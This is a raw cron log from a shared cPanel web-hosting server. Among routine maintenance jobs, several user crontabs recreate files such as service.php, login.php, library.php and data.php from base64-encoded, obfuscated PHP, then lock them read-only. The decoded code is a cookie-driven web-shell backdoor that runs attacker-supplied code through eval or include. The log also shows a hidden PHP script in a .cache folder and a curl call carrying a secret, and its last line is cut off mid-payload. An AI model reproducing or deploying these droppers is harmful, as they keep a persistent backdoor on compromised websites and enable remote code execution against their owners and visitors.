Mar  2 01:08:01 medusa CROND[2447]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:08:01 medusa CROND[2448]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 01:08:01 medusa CROND[2443]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 01:08:01 medusa CROND[2438]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 01:09:01 medusa CROND[7985]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 01:09:01 medusa CROND[7987]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 01:09:01 medusa CROND[7988]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 01:09:01 medusa CROND[7992]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 01:09:01 medusa CROND[7996]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:09:01 medusa CROND[7998]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:09:01 medusa CROND[7997]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  2 01:09:01 medusa CROND[7999]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 01:09:01 medusa CROND[8001]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 01:09:01 medusa CROND[8002]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:09:01 medusa CROND[8003]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:09:01 medusa CROND[8005]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 01:09:01 medusa CROND[8013]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 01:10:01 medusa CROND[13397]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 01:10:01 medusa CROND[13420]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 01:10:01 medusa CROND[13448]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 01:10:01 medusa CROND[13488]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 01:10:01 medusa CROND[13590]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 01:10:01 medusa CROND[13592]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 01:10:01 medusa CROND[13621]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 01:10:01 medusa CROND[13623]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 01:10:01 medusa CROND[13622]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 01:10:01 medusa CROND[13624]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 01:10:01 medusa CROND[13627]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 01:10:01 medusa CROND[13628]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 01:10:01 medusa CROND[13630]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 01:10:01 medusa CROND[13637]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 01:10:01 medusa CROND[13638]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:10:01 medusa CROND[13643]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 01:10:01 medusa CROND[13644]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:10:01 medusa CROND[13642]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 01:10:01 medusa CROND[13636]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 01:10:01 medusa CROND[13646]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 01:10:01 medusa CROND[13647]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 01:10:01 medusa CROND[13649]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 01:10:01 medusa CROND[13652]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:10:01 medusa CROND[13654]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 01:10:01 medusa CROND[13658]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 01:10:01 medusa CROND[13650]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 01:10:01 medusa CROND[13662]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiB